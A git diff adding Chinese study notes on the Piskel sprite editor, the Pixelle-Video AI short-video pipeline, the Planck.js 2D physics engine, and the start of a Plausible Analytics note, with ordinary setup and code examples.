+    frameWidth: 32,
+    frameHeight: 32,
+  });
+}
+
+function create() {
+  this.anims.create({
+    key: 'run',
+    frames: this.anims.generateFrameNumbers('hero-run', { start: 0, end: 3 }),
+    frameRate: 12, // 与 Piskel 里设置的 FPS 对齐
+    repeat: -1,
+  });
+  this.add.sprite(160, 90, 'hero-run').play('run');
+}
+```
+
+要点：**`frameWidth` / `frameHeight` 必须等于 Piskel 单帧尺寸**；`frameRate` 与导出前预览 FPS 一致，否则动画快慢会飘。
+
+### 示例 3：iframe 嵌入自托管 Piskel（piskel-embed 思路）
+
+若要在自己的关卡编辑器里内嵌像素画板，可自托管构建产物并用 iframe 通信。[piskel-embed](https://github.com/piskelapp/piskel-embed) 演示了加载/保存精灵的集成方式：
+
+```html
+<!-- editor.html — 父页面嵌入 Piskel -->
+<iframe
+  id="piskel-frame"
+  src="https://your-cdn.example.com/piskel/index.html"
+  width="100%"
+  height="720"
+  allow="clipboard-read; clipboard-write"
+></iframe>
+<script>
+  const frame = document.getElementById('piskel-frame');
+
+  // 子页面加载完成后，可通过 postMessage 触发「打开 .piskel」或「导出」
+  // 具体消息格式取决于你 fork 的 Piskel 版本；上游以 UserEvent 服务桥接
+  frame.addEventListener('load', () => {
+    frame.contentWindow.postMessage(
+      { type: 'piskel.load', name: 'level_tile.piskel' },
+      'https://your-cdn.example.com'
+    );
+  });
+
+  window.addEventListener('message', (event) => {
+    if (event.origin !== 'https://your-cdn.example.com') return;
+    if (event.data.type === 'piskel.saved') {
+      console.log('用户保存了精灵:', event.data.payload);
+    }
+  });
+</script>
+```
+
+生产环境务必：**同源或白名单 postMessage**、HTTPS、明确 CSP。儿童产品可改用官方 **Piskel For Kids** 构建，减少画廊与社交干扰。
+
+---
+
+## 与 Aseprite / Tiled 的分工
+
+| 工具 | 强项 | 弱项 |
+|---|---|---|
+| **Piskel** | 浏览器即开、GIF/精灵表导出快、教学友好 | 无 CLI 批处理、复杂标签/脚本弱于 Aseprite |
+| **[[aseprite]]** | 时间轴标签、Lua 脚本、CLI 烘图、索引色工作流 | 需安装/购买（官方二进制） |
+| **[[tiled]]** | 瓦片地图、碰撞层、对象层 | 不负责角色帧动画 |
+
+典型流水线：**Piskel 画角色动画 → 导出精灵表 → Phaser/Godot 加载**；**Tiled 画关卡 → 引擎读 TMJ/TSX**。
+
+---
+
+## 上手路径（零基础）
+
+1. 打开 [piskelapp.com](https://www.piskelapp.com/)，选 **Create Sprite**，画布设 **32×32**
+2. 用 **Pen (P)** 画第一帧站立姿势；时间轴点 **Add new frame** 画走路第 2 帧
+3. 开启 **Onion Skin (Alt+O)**，对齐脚的位置
+4. 复制帧微调，做 4–6 帧循环；右侧调 **12 FPS** 预览
+5. **EXPORT → PNG** 选 Spritesheet，记下每行帧数
+6. 在 [[phaser]] 或 [[godot]] 教程里加载同尺寸 `frameWidth`/`hframes` 验证
+
+进阶：多图层拆身体部件、**Dithering** 画渐变阴影、导入 GIF 改既有素材、下载桌面离线版在无网课堂使用。
+
+---
+
+## 常见问题
+
+**Q：导出精灵表后游戏里动画闪烁或裁切？**  
+A：检查导出 spacing 是否为 0；`frameWidth` 是否与 Piskel 画布宽一致；PNG 是否被后续工具误压缩（应用近邻缩放）。
+
+**Q：Brave 里颜色变了？**  
+A：关闭 Shields 的 fingerprinting，或换 Firefox/Chrome，参见 [Wiki: canvas fingerprinting](https://github.com/piskelapp/piskel/wiki/About-canvas%E2%80%90based-browser-fingerprinting-and-Brave-browser)。
+
+**Q：能否命令行批处理？**  
+A：官方无头 CLI；可自写脚本解析 `.piskel` 用 `sharp`/`canvas` 烘图，或导出 ZIP 帧后用 ImageMagick `montage` 拼表。
+
+**Q：和 [[aseprite]] 工程互转？**  
+A：经 **PNG 序列 ZIP** 中转最稳：Piskel 导出 ZIP → Aseprite 导入为精灵；反向亦然。直接 `.piskel` ↔ `.aseprite` 无官方一键工具。
+
+---
+
+## 延伸阅读
+
+- 仓库 README 与 [Wiki](https://github.com/piskelapp/piskel/wiki)
+- 文件格式说明：[Piskel canvas（ArchiveTeam）](http://fileformats.archiveteam.org/wiki/Piskel_canvas)
+- 现代化路线图：[Piskel modernization #1246](https://github.com/piskelapp/piskel/issues/1246)
+- 社区 MCP 封装（AI 驱动作画实验）：[piskel-mcp-server](https://github.com/yafeiaa/piskel-mcp-server)
+- 相关笔记：[[aseprite]]、[[tiled]]、[[phaser]]、[[godot]]、[[love2d]]、[[gimp]]
diff --git a/src/content/docs/projects/pixelle-video.md b/src/content/docs/projects/pixelle-video.md
new file mode 100644
index 000000000..28f786b8b
--- /dev/null
+++ b/src/content/docs/projects/pixelle-video.md
@@ -0,0 +1,238 @@
+---
+title: "零门槛自动生成短视频——Pixelle-Video 笔记"
+来源: https://github.com/AIDC-AI/Pixelle-Video
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# 零门槛自动生成短视频——Pixelle-Video 笔记
+
+## 一、从日常类比说起
+
+想象你要拍一支旅行 Vlog。正常流程是：
+
+1. 想主题、写文案
+2. 找或拍配图/画面
+3. 录音或配音
+4. 选背景音乐
+5. 把声音、画面、音乐拼在一起加字幕
+
+每一步都需要不同技能——写作、摄影、录音、剪辑。
+
+**Pixelle-Video 做的事情，就是把这五步打包成一行字**：你只输入一个主题，比如"为什么要养成阅读习惯"，它自动走完全部五步，最后给你一支完整的视频。
+
+它来自阿里旗下的 AIDC 团队，在 GitHub 上已获得 22k+ star，开源协议是 Apache 2.0。
+
+## 二、核心概念
+
+### 2.1 流水线（Pipeline）架构
+
+Pixelle-Video 把视频生成拆成了 **四个串联阶段**，每个阶段可以独立替换"引擎"：
+
+| 阶段 | 做什么 | 可选引擎 |
+|------|--------|----------|
+| 文案生成 | 根据主题写分镜脚本 | GPT-4o、通义千问、DeepSeek、Ollama（本地） |
+| 配图/视频生成 | 为每一句文案生成画面 | ComfyUI（本地）、RunningHub（云端）、直连模型 API |
+| 语音合成 | 把文案转成人声 | Edge-TTS（免费）、Index-TTS（可克隆音色） |
+| 视频合成 | 拼画面 + 声音 + 字幕 + BGM | 基于 FFmpeg + HTML 模板 |
+
+你可以把每个阶段想象成流水线上的一个工位。你想换"配音员"，就换 TTS 引擎；想换"画风"，就换图像生成工作流。**互不影响，自由组合**。
+
+### 2.2 ComfyUI 工作流
+
+ComfyUI 是一个"可视化节点式 AI 工作流"工具。Pixelle-Video 把 ComfyUI 当作 **图像/视频生成的底层引擎**。
+
+具体来说，每个图像生成任务对应一个 `.json` 文件（比如 `image_flux.json`），里面描述了："从提示词到最终图片"的节点连接关系。Pixelle-Video 调用这个工作流，把文案中的描述送进去，再把生成的图片拉出来。
+
+### 2.3 三种媒体生成方式
+
+项目支持三种获取画面素材的途径：
+
+- **ComfyUI 本地部署**：自己电脑跑 ComfyUI 服务，完全免费，但有显卡门槛
+- **RunningHub 云端**：无需本地环境，按量付费
+- **直连模型 API**：直接调用 DashScope（通义万象）、OpenAI、可灵等厂商的图像/视频 API，不经过 ComfyUI
+
+### 2.4 视频模板
+
+模板决定了最终视频的"外壳"——画面布局、字幕样式、转场方式。模板是纯 HTML 文件，分为三类：
+
+- `static_*.html`：纯文字样式，不需要 AI 生成媒体
+- `image_*.html`：AI 生成的图片做背景
+- `video_*.html`：AI 生成的视频片段做背景
+
+懂 HTML 的话可以自己写模板。
+
+## 三、安装与启动
+
+### 前置依赖
+
+```bash
+# macOS
+brew install ffmpeg
+
+# Ubuntu / Debian
+sudo apt update && sudo apt install ffmpeg
+```
+
+还需要 Python 包管理器 `uv`（比 pip 更快）：
+https://docs.astral.sh/uv/getting-started/installation/
+
+### 从源码启动
+
+```bash
+git clone https://github.com/AIDC-AI/Pixelle-Video.git
+cd Pixelle-Video
+uv run streamlit run web/app.py
+```
+
+浏览器会自动打开 `http://localhost:8501`。
+
+> Windows 用户可以直接下载整合包，解压后双击 `start.bat` 即可，无需装任何环境。
+
+## 四、代码示例
+
+### 示例 1：配置文件结构
+
+`config.example.yaml` 展示了整个项目的配置体系。理解这个文件，就理解了 Pixelle-Video 的"大脑"：
+
+```yaml
+project_name: Pixelle-Video
+
+# 大语言模型 —— 负责写文案
+llm:
+  api_key: "sk-xxx"
+  base_url: "https://dashscope.aliyuncs.com/compatible-mode/v1"
+  model: "qwen-max"
+
+# 图像 / 视频生成 —— 通过 ComfyUI 或云端
+comfyui:
+  comfyui_url: http://127.0.0.1:8188
+  runninghub_api_key: "xxx"
+
+  image:
+    default_workflow: runninghub/image_flux.json
+    prompt_prefix: "Minimalist black-and-white matchstick figure style"
+
+  video:
+    default_workflow: runninghub/video_wan2.1_fusionx.json
+
+# 模板
+template:
+  default_template: "1080x1920/image_default.html"
+```
+
+关键点：
+- LLM 部分只要是 OpenAI SDK 兼容的 API 都能用——GPT、通义千问、DeepSeek 都行
+- 图像生成默认用 RunningHub 的 FLUX 模型，不需要本地显卡
+- `prompt_prefix` 决定了配图的整体视觉风格
+
+### 示例 2：直连 API 媒体模型配置
+
+不想用 ComfyUI 的话，可以直接配置模型供应商：
+
+```yaml
+api_providers:
+  common:
+    print_model_input: false
+    local_proxy: ""
+  openai:
+    api_key: "sk-xxx"
+    base_url: "https://api.openai.com/v1"
+    use_proxy: false
+  dashscope:
+    api_key: "sk-xxx"
+    base_url: "https://dashscope.aliyuncs.com/api/v1"
+    use_proxy: false
+  kling:
+    base_url: "https://api-beijing.klingai.com"
+    access_key: "xxx"
+    secret_key: "xxx"
+    use_proxy: false
+```
+
+这里配置了三个供应商：
+- **OpenAI**：可以调 GPT Image 模型生成图片
+- **DashScope**：通义万象的图像和视频模型（Wan、HappyHorse）
+- **可灵 Kling**：快手旗下的视频生成模型
+
+每个供应商可以独立决定是否走本地代理。
+
+### 示例 3：模板文件结构
+
+`templates/` 下的模板是 HTML 文件，下面是一个简化示意：
+
+```html
+<!DOCTYPE html>
+<html>
+<head>
+  <style>
+    .frame {
+      width: 1080px;
+      height: 1920px;
+      position: relative;
+      overflow: hidden;
+    }
+    .bg-image {
+      width: 100%;
+      height: 100%;
+      object-fit: cover;
+    }
+    .subtitle {
+      position: absolute;
+      bottom: 200px;
+      width: 90%;
+      left: 5%;
+      text-align: center;
+      font-size: 48px;
+      color: white;
+      text-shadow: 2px 2px 8px rgba(0,0,0,0.8);
+    }
+  </style>
+</head>
+<body>
+  <div class="frame">
+    <img class="bg-image" src="{{image_url}}" />
+    <div class="subtitle">{{subtitle_text}}</div>
+  </div>
+</body>
+</html>
+```
+
+关键机制：`{{image_url}}` 和 `{{subtitle_text}}` 是模板占位符，Pipeline 在合成视频时，会把每一帧对应的图片 URL 和文案自动填进去。
+
+## 五、成本分析
+
+| 方案 | LLM | 图像/视频 | 成本 | 适合谁 |
+|------|-----|-----------|------|--------|
+| 完全免费 | Ollama（本地） | 本地 ComfyUI | 0 元 | 有显卡的开发者 |
+| 推荐方案 | 通义千问 | 本地 ComfyUI | 极低 | 大多数用户 |
+| 云端方案 | OpenAI | RunningHub | 较高 | 没有本地环境 |
+
+通义千问的 API 调用成本非常低，配合免费或低成本的图像生成方案，做一次视频的成本通常不到 1 元。
+
+## 六、扩展模块
+
+项目还有三个有趣的扩展能力：
+
+1. **数字人口播**：上传一张人脸照片，让"数字人"对着镜头说话
+2. **动作迁移**：上传参考视频和图片，把参考视频的动作迁移到图片上
+3. **图生视频**：从一张静态图片生成动态视频片段
+
+这些模块通过 ComfyUI 工作流或直连 API 实现，不需要改动主流程代码。
+
+## 七、关键收获
+
+1. **模块化是核心设计哲学**：文案、配图、配音、合成四个阶段完全解耦，任何一个环节都可以独立替换
+2. **ComfyUI 是底层能力层**：项目把 ComfyUI 的工作流机制封装成了"可用即插"的模块化能力，降低了 AI 视频生成的使用门槛
+3. **三种获取画面的方式满足不同场景**：本地部署（零成本）、云端托管（零门槛）、直连 API（最灵活）
+4. **HTML 模板降低了视频排版门槛**：不需要会剪辑软件，懂一点 HTML 就能自定义视频样式
+
+## 八、思考
+
+这个项目最打动我的一点是：**它把"视频创作"从一项多技能复合任务，变成了"输入主题 → 等待结果"的单点操作**。
+
+如果你是一个内容创作者，但它不懂剪辑，可以用它快速产出内容原型。如果你是一个产品经理想验证一个视频创意，可以用它几分钟出片，而不是花几天找设计师。
+
+下一步值得探索的是：能不能在现有 Pipeline 基础上加入更多环节，比如自动字幕翻译、多语言配音、AI 自动封面生成？
diff --git a/src/content/docs/projects/planck.md b/src/content/docs/projects/planck.md
new file mode 100644
index 000000000..a5ab6b219
--- /dev/null
+++ b/src/content/docs/projects/planck.md
@@ -0,0 +1,346 @@
+---
+title: Planck.js — Box2D 纯 JS 移植
+来源: 'https://github.com/piqnt/planck.js'
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 是什么
+
+**Planck.js** 是由 Ali Shakiba（shakiba）维护的**开源 JavaScript/TypeScript 2D 刚体物理引擎**，MIT 协议，GitHub 仓库 [piqnt/planck.js](https://github.com/piqnt/planck.js) 约 5k+ star。它不是用 Emscripten 把 C++ Box2D「糊」进浏览器，而是**用 JS/TS 重写 Box2D 算法**——碰撞检测、约束求解、关节模型与经典 Box2D 一脉相承，但源码可读、可调试、可 tree-shake，适合在浏览器、Node.js 或混合栈里直接 `import`。
+
+日常类比：把 Planck.js 想成**把 Box2D 裁判手册翻译成白话并搬进浏览器**。原版 Box2D 像一本德文技术规范（`b2World`、`b2BodyDef`、指针与宏）；Planck 保留同一套「世界 → 刚体 → 夹具 → 步进」判球逻辑，却换成 JavaScript 口语（`World`、`createBody({ type: 'dynamic' })`、普通对象字面量）。你仍负责画精灵、播音效、写关卡；Planck 只管「下一帧箱子落哪儿、铰链转多少度」——和 Matter.js 一样属于**程序化动画**后端，但 API 与 Box2D 文档几乎一一对应，读 Erin Catto 的 GDC 讲义或 Box2D 手册时不会迷路。
+
+与 **box2d.js**（WASM/ asm.js 绑定）相比，Planck 的优势是**零 native 依赖、源码即教材**；与 **Matter.js**（原生 JS、自带 Canvas 渲染）相比，Planck 更贴近 Box2D 关节体系（Revolute、Prismatic、Gear…），适合已经熟悉 Box2D 或需要复杂机械约束的项目。MelonJS 等引擎的 `PhysicsAdapter` 也可切换到 Planck，游戏主逻辑不必重写。
+
+```javascript
+import { World, Box } from 'planck';
+
+// 最小闭环：建世界 → 地面 + 动态箱 → 模拟若干步
+const world = new World({ gravity: { x: 0, y: -10 } });
+
+const ground = world.createBody({ type: 'static', position: { x: 0, y: -10 } });
+ground.createFixture({ shape: Box(50, 0.5) });
+
+const box = world.createBody({
+  type: 'dynamic',
+  position: { x: 0, y: 4 },
+});
+box.createFixture({ shape: Box(1, 1), density: 1, friction: 0.3 });
+
+for (let i = 0; i < 120; i++) {
+  world.step(1 / 60, 8, 3);
+}
+console.log(box.getPosition()); // 箱子已下落并可能与地面接触
+```
+
+上面与官方 [Hello World](https://piqnt.com/planck.js/docs/hello-world) 同构：重力向下、静态地面用 `Box` 薄片、动态体靠 `density` 算质量，循环里 `world.step` 推进仿真。
+
+## 为什么重要
+
+不了解 Planck.js，下面这些事都难以解释：
+
+- 为什么有人坚持「Box2D 系」而不是 Matter——**关节类型、接触回调、连续碰撞**与 C++ Box2D 文档对齐，迁移旧项目或读 GDC 讲义成本更低
+- 为什么纯 JS 物理引擎仍值得存在——避免 WASM 包体、跨语言调试和移动端 JIT 冷启动问题；Planck 内部算法与 Box2D 同源，行为可预期
+- 为什么物理坐标要用**米**而不是像素——与 Box2D 一样按 MKS 调参；把 800px 宽角色当 800m 会导致堆叠不稳、穿透和「弹飞」
+- 为什么 `world.step` 的 `timeStep` 应固定为 1/60 而渲染帧率可变——离散积分在大 dt 下会让高速物体**隧道穿透**（tunneling）；Planck 提供 `setContinuousPhysics` 缓解薄物体穿透
+- 为什么 MelonJS、部分 HTML5 工具链列出 planck 适配器——它是浏览器里**可读源码的 Box2D 替身**，教育场景与二次开发友好
+
+## 核心要点
+
+### 1. 物理世界（World）
+
+`World` 是一帧仿真的总容器，持有所有 body、fixture、joint 与自动生成的 contact。每调用一次 `world.step(timeStep, velocityIterations?, positionIterations?)`，内部大致顺序为：
+
+1. **Broad-phase**：动态树（dynamic tree）筛出可能接触的 fixture 对
+2. **Narrow-phase**：精确求交，生成接触流形（manifold）
+3. **Solver**：对接触约束与关节约束施加冲量，修正速度
+4. **Integration**：用新速度更新位姿
+
+类比：粗检测像快递按区域分拣；细检测像逐件称重；求解器像调解员决定两辆车擦碰后各退多少。
+
+Planck **不提供默认渲染器**——与 Matter.js 内置 `Render` 不同。集成方式固定为：游戏循环里 `world.step`，再遍历 body 把 `getPosition()` / `getAngle()` 同步到 Canvas、Pixi、Phaser 或 DOM。
+
+### 2. 刚体（Body）与夹具（Fixture）
+
+| 概念 | 职责 |
+|------|------|
+| **Body** | 质心位姿、线/角速度；类型 `static` / `kinematic` / `dynamic` |
+| **Fixture** | 把 **Shape** 挂在 body 上，带密度、摩擦、弹性、传感器标志 |
+| **Shape** | 几何：`Box`、`Circle`、`Edge`、`Polygon` 等；Planck 中 shape **不可变**，创建 fixture 时不会克隆副本 |
+
+创建套路：`world.createBody({ type, position, angle })` → `body.createFixture({ shape, density, friction, restitution })`。
+
+常用 fixture 选项：
+
+| 选项 | 含义 |
+|------|------|
+| `density` | 密度，与形状面积算质量与转动惯量 |
+| `friction` | 库仑摩擦，多在 0～1 |
+| `restitution` | 恢复系数，0 = 不弹，1 = 完全弹性 |
+| `isSensor` | 传感器：产生接触但不产生碰撞响应，用于拾取、触发区 |
+
+静态体默认 `type: 'static'`，不受力也不被推动；`kinematic` 可由代码设速度驱动平台；`dynamic` 完全受力和约束影响。
+
+### 3. 形状（Shape）工厂
+
+Planck 提供与 Box2D 对应的形状构造器（多为函数或类）：
+
+- `Box(halfWidth, halfHeight)` — 轴对齐矩形（半宽半高）
+- `Circle(radius)` — 圆
+- `Edge(v1, v2)` — 线段，常用于地面、斜坡
+- `Polygon(vertices)` — 凸多边形顶点数组
+
+**Edge** 特别适合无限长地面：用 `createFixture({ shape: Edge({ x: -50, y: 0 }, { x: 50, y: 0 }) })` 搭平台，比巨宽 `Box` 更省且数值更稳。
+
+### 4. 关节（Joint）
+
+关节把两个 body 约束在一起，是 Box2D 系相对 Matter「约束 API」更完整的一环：
+
+| 关节 | 典型用途 |
+|------|----------|
+| **RevoluteJoint** | 铰链、摆锤、门轴 |
+| **PrismaticJoint** | 活塞、滑动门 |
+| **DistanceJoint** | 绳、链（固定两锚点距离） |
+| **GearJoint** | 齿轮传动 |
+| **WheelJoint** | 2D 车辆悬挂 |
+
+创建方式：`world.createJoint(new RevoluteJoint(options, bodyA, bodyB, anchorPoint))`。锚点 `anchorPoint` 是**世界坐标**下的铰链位置；创建前两个 body 应已摆到正确相对位姿。
+
+**注意**：`createJoint` / `destroyBody` 在 `world.step` 执行期间会被**锁定**；若在步进中改场景，用 `world.queueUpdate(fn)` 把修改推迟到步进结束后。
+
+### 5. 事件（World#on / #off）
+
+Planck 在 `World` 上扩展了 Box2D 没有的事件总线：
+
+| 事件 | 时机 |
+|------|------|
+| `begin-contact` | 两 fixture 开始接触 |
+| `end-contact` | 接触结束 |
+| `pre-solve` | 求解前，可修改接触冲量 |
+| `post-solve` | 求解后，可读冲量做音效/伤害 |
+
+用法：`world.on('begin-contact', (contact) => { ... })`；移除用 `world.off`。适合计分、播放碰撞音、统计连击，而不必手写 broad-phase 查询。
+
+### 6. 查询（Query）
+
+- `world.queryAABB(aabb, callback)` — 矩形区域内有哪些 fixture
+- `world.rayCast(start, end, callback)` — 射线检测，用于点击选中、子弹命中
+
+回调里可过滤传感器、按 fixture 返回 fraction 控制「最近命中」或「穿透多段」。
+
+### 7. 与 C++ Box2D 的 API 差异（读旧资料时对照）
+
+| C++ Box2D | Planck.js |
+|-----------|-----------|
+| `b2World` | `World` |
+| `b2BodyDef` + `CreateBody` | `createBody({ ... })` 字面量 |
+| `b2FixtureDef` | `createFixture({ ... })` |
+| `b2Vec2` | `{ x, y }` 或 `Vec2` |
+| `UpperCamelCase` 方法 | `lowerCamelCase`（如 `getPosition`） |
+| 无统一事件 | `world.on('begin-contact', ...)` |
+
+文档 [piqnt.com/planck.js/docs](https://piqnt.com/planck.js/docs/) 与 Box2D 手册章节对应，名词常互换使用。
+
+### 8. 单位与步进参数
+
+- **长度**：米（m）；像素显示前自行 `× scale`
+- **质量**：千克（kg）；由 `density × 面积` 推导
+- **时间**：秒（s）；`world.step(1/60)` 表示 60Hz 物理
+- **迭代次数**：`velocityIterations`（默认 8）、`positionIterations`（默认 3）越高越稳但越慢；堆叠关卡可适当提高
+
+`world.setAllowSleeping(true)` 可让静止岛休眠，大场景省 CPU；动态体被唤醒后会重新参与求解。
+
+## 实践案例
+
+### 案例 1：Canvas 自定义循环——落箱与同步绘制
+
+Planck 不带渲染器，典型集成是 `requestAnimationFrame` + 2D Canvas：
+
+```html
+<!DOCTYPE html>
+<html lang="zh-CN">
+<head>
+  <meta charset="UTF-8" />
+  <title>Planck.js 最小 Canvas 示例</title>
+</head>
+<body>
+  <canvas id="c" width="800" height="600"></canvas>
+  <script type="module">
+    import { World, Box } from 'https://esm.sh/planck';
+
+    const canvas = document.getElementById('c');
+    const ctx = canvas.getContext('2d');
+    const SCALE = 30; // 30 像素 = 1 米
+
+    const world = new World({ gravity: { x: 0, y: -10 } });
+
+    const ground = world.createBody({ type: 'static', position: { x: 0, y: -1 } });
+    ground.createFixture({ shape: Box(20, 0.5), friction: 0.6 });
+
+    const box = world.createBody({ type: 'dynamic', position: { x: 0, y: 5 } });
+    box.createFixture({ shape: Box(0.5, 0.5), density: 1, friction: 0.3, restitution: 0.2 });
+
+    function toScreen(v) {
+      return { x: 400 + v.x * SCALE, y: 500 - v.y * SCALE };
+    }
+
+    function drawBox(body, color) {
+      const p = toScreen(body.getPosition());
+      const a = body.getAngle();
+      ctx.save();
+      ctx.translate(p.x, p.y);
+      ctx.rotate(-a);
+      ctx.fillStyle = color;
+      ctx.fillRect(-0.5 * SCALE, -0.5 * SCALE, 1 * SCALE, 1 * SCALE);
+      ctx.restore();
+    }
+
+    let last = performance.now();
+    function loop(now) {
+      const dt = Math.min((now - last) / 1000, 0.05);
+      last = now;
+      world.step(1 / 60, 8, 3);
+
+      ctx.clearRect(0, 0, 800, 600);
+      ctx.fillStyle = '#2d3436';
+      ctx.fillRect(0, 500 - (-1 + 0.5) * SCALE - 0.5 * SCALE, 800, 0.5 * SCALE * 2);
+      drawBox(box, '#3498db');
+      requestAnimationFrame(loop);
+    }
+    requestAnimationFrame(loop);
+  </script>
+</body>
+</html>
+```
+
+**要点**：物理用米、显示用 `SCALE` 映射；Canvas Y 轴向下故 `500 - y * SCALE`；`step` 用固定 1/60 而非可变 `dt`，避免穿透；只画了一个 box，地面用矩形近似，完整项目应遍历 `world.getBodyList()` 绘制所有动态体。
+
+### 案例 2：铰链摆锤 + 碰撞事件
+
+演示 `RevoluteJoint` 与 `begin-contact` 监听：
+
+```javascript
+import { World, Box, RevoluteJoint } from 'planck';
+
+const world = new World({ gravity: { x: 0, y: -10 } });
+
+const ground = world.createBody({ type: 'static', position: { x: 0, y: 0 } });
+ground.createFixture({ shape: Box(20, 0.5) });
+
+// 铰链锚点（世界坐标）
+const anchor = { x: 0, y: 8 };
+const pivot = world.createBody({
+  type: 'static',
+  position: anchor,
+});
+const pendulum = world.createBody({
+  type: 'dynamic',
+  position: { x: 0, y: 5 },
+});
+pendulum.createFixture({ shape: Box(0.25, 2.5), density: 1, friction: 0.1 });
+
+world.createJoint(
+  new RevoluteJoint({
+    enableLimit: true,
+    lowerAngle: -0.8,
+    upperAngle: 0.8,
+  }, pivot, pendulum, anchor),
+);
+
+world.on('begin-contact', (contact) => {
+  const fixtureA = contact.getFixtureA();
+  const fixtureB = contact.getFixtureB();
+  const bodyA = fixtureA.getBody();
+  const bodyB = fixtureB.getBody();
+  if (bodyA === pendulum || bodyB === pendulum) {
+    console.log('摆锤碰到东西了');
+  }
+});
+
+// 给摆锤初速度
+pendulum.setLinearVelocity({ x: 3, y: 0 });
+
+for (let i = 0; i < 300; i++) {
+  world.step(1 / 60);
+}
+```
+
+**要点**：`RevoluteJoint` 第四个参数是**世界坐标**锚点，不是局部 offset；`enableLimit` 限制摆动角度；`setLinearVelocity` 在步进前设置初态；事件在 `step` 内触发，回调里不要 `createJoint`（世界 locked 时用 `queueUpdate`）。
+
+### 案例 3：Testbed 快速试验（官方推荐）
+
+仓库提供 **Testbed** 运行时，适合复现 bug 与学习示例：
+
+```javascript
+import { Testbed, World, Box } from 'planck';
+
+const testbed = Testbed.mount();
+const world = new World({ gravity: { x: 0, y: -10 } });
+testbed.world = world;
+
+const body = world.createBody({ type: 'dynamic', position: { x: 0, y: 4 } });
+body.createFixture({ shape: Box(1, 1), density: 1 });
+
+testbed.start(world);
+```
+
+访问 [piqnt.com/planck.js](https://piqnt.com/planck.js/) 可在线看数十个官方 demo（Revolute、Car、Rope、Breakable…）。向 GitHub 报 issue 时附带 Testbed 复现代码可显著加快修复。
+
+## 安装与集成
+
+| 方式 | 命令 / 用法 |
+|------|-------------|
+| npm | `npm install planck` |
+| ESM | `import { World, Box } from 'planck'` |
+| CDN | `import from 'https://esm.sh/planck'` |
+| TypeScript | 包内自带类型定义 |
+
+与打包器（Vite、Webpack、esbuild）兼容；Tree shaking 可只打入用到的关节类。Node.js 中可用于 headless 回归测试（只 `step`、不画图）。
+
+**MelonJS**：v19.5+ 通过 `PhysicsAdapter` 可选 planck，关卡代码尽量只调引擎抽象层，避免直接依赖 Planck 类型。
+
+## 与其它 2D 物理引擎对比
+
+| 引擎 | 实现 | 渲染 | 关节/约束 | 适合场景 |
+|------|------|------|-----------|----------|
+| **Planck.js** | Box2D 算法 JS 重写 | 无（自绘） | Box2D 全套关节 | 熟悉 Box2D、复杂机械、读 GDC 讲义 |
+| **Matter.js** | 原生 JS | 内置 Canvas | Constraint API 较扁平 | 快速 HTML5 demo、教育页 |
+| **box2d.js** | WASM C++ | 无 | 与 C++ 一致 | 追求与 C++ 二进制一致的行为 |
+| **p2.js** | 原生 JS | 无 | 中等 | 历史项目维护 |
+
+选型口诀：**要 Box2D 文档一字不差跟着做 → Planck；要五分钟出画面 → Matter；要与 C++ 二进制同构 → box2d.js/WASM**。
+
+## 学习路径
+
+1. 读官方 [Hello World](https://piqnt.com/planck.js/docs/hello-world) 与 [Overview](https://piqnt.com/planck.js/docs/)，跑在线 Examples
+2. 对照本仓库笔记 [Box2D](box2d.md) 理解 broad-phase、冲量求解、休眠
+3. 选一个 Joint 文档（Revolute → Wheel → Gear）做小 demo
+4. 用 `queryAABB` / `rayCast` 实现鼠标拖拽或点击发射
+5. 读 `CHANGES.md` 了解相对 C++ 的刻意差异（shape 不可变、事件 API）
+
+## 常见坑
+
+| 现象 | 原因 | 处理 |
+|------|------|------|
+| 物体抖动、堆叠炸开 | 像素当米、质量极大 | 统一 MKS，`SCALE` 只用于显示 |
+| 高速穿透薄墙 | `step` 用过大 `timeStep` | 固定 1/60，或提高迭代、开 continuous physics |
+| `createJoint` 报错 | 在 `step` 内改世界 | 用 `queueUpdate` |
+| 铰链位置怪异 | 锚点用了局部坐标 | 铰链参数用世界坐标，或先 `body.getWorldPoint` |
+| 传感器没碰撞感 | `isSensor: true` | 预期行为；用 `begin-contact` 做逻辑 |
+| 与 Matter 代码混拷失败 | API 不同 | 按 Body/Fixture/Joint 模型改写，勿假设 `Composite.add` |
+
+## 资源
+
+- 官网与文档：[piqnt.com/planck.js](https://piqnt.com/planck.js/)
+- GitHub：[piqnt/planck.js](https://github.com/piqnt/planck.js)
+- Discord：[社区邀请链接](https://discord.com/invite/znjh6J7)
+- Box2D 原版：[erincatto/box2d](https://github.com/erincatto/box2d)（本仓库 [box2d.md](box2d.md)）
+- 同类 JS 笔记：[matter-js.md](matter-js.md)、[cannon-es.md](cannon-es.md)（3D 对照）
+
+## 小结
+
+Planck.js 把 Box2D 的刚体仿真搬进现代 JavaScript：无 WASM、API 口语化、关节与接触模型完整，但不包渲染。零基础上手记住四步：**`World` 设重力 → `createBody` + `createFixture` → 循环 `step` → 读位姿画到屏幕**。复杂玩法靠关节和 `world.on` 事件扩展。读完本文后，建议打开官方 Testbed 里 Revolute 与 Car 示例对照源码走一遍，比死记 API 更快建立「约束即动画」的直觉。
diff --git a/src/content/docs/projects/plausible-analytics.md b/src/content/docs/projects/plausible-analytics.md
new file mode 100644
index 000000000..e08a25d5b
--- /dev/null
+++ b/src/content/docs/projects/plausible-analytics.md
@@ -0,0 +1,219 @@
+---
+title: Plausible Analytics OSS 学习笔记
+来源: https://plausible.io/
+日期: 2026-06-13
+分类: 后端 API
+子分类: Web 后端
+provenance: pipeline-v3
+---
+
+# Plausible Analytics OSS 学习笔记
+
+## 一、什么是 Plausible？日常类比
+
+想象你要开一家小店，想知道每天有多少顾客进门、他们从哪条路来、在哪件商品前停下来看了很久。
+
+传统做法是在门口装一个摄像头，记录每个人的脸、手机号、走了哪些路线——这就像 **Google Analytics (GA)**，功能强大但收集大量个人信息，还需要贴一张"我们正在监控您"的告示（Cookie 同意弹窗）。
+
+Plausible 的做法是在门口放一个计数器：它只记"今天来了多少人"、"大多数人从哪个方向来"，但不记你是谁、不存你的个人信息、不需要你同意——这就像一家注重隐私的小店，既知道生意好不好，又尊重每一位顾客。
+
+Plausible 是一个 **开源、隐私优先的 Web 网站分析工具**，2018 年诞生于爱沙尼亚，完全由用户订阅资金驱动（不接受投资、不做广告），GitHub 上有 27,000+ Star。
+
+## 二、核心概念
+
+### 2.1 隐私优先，零 Cookie
+
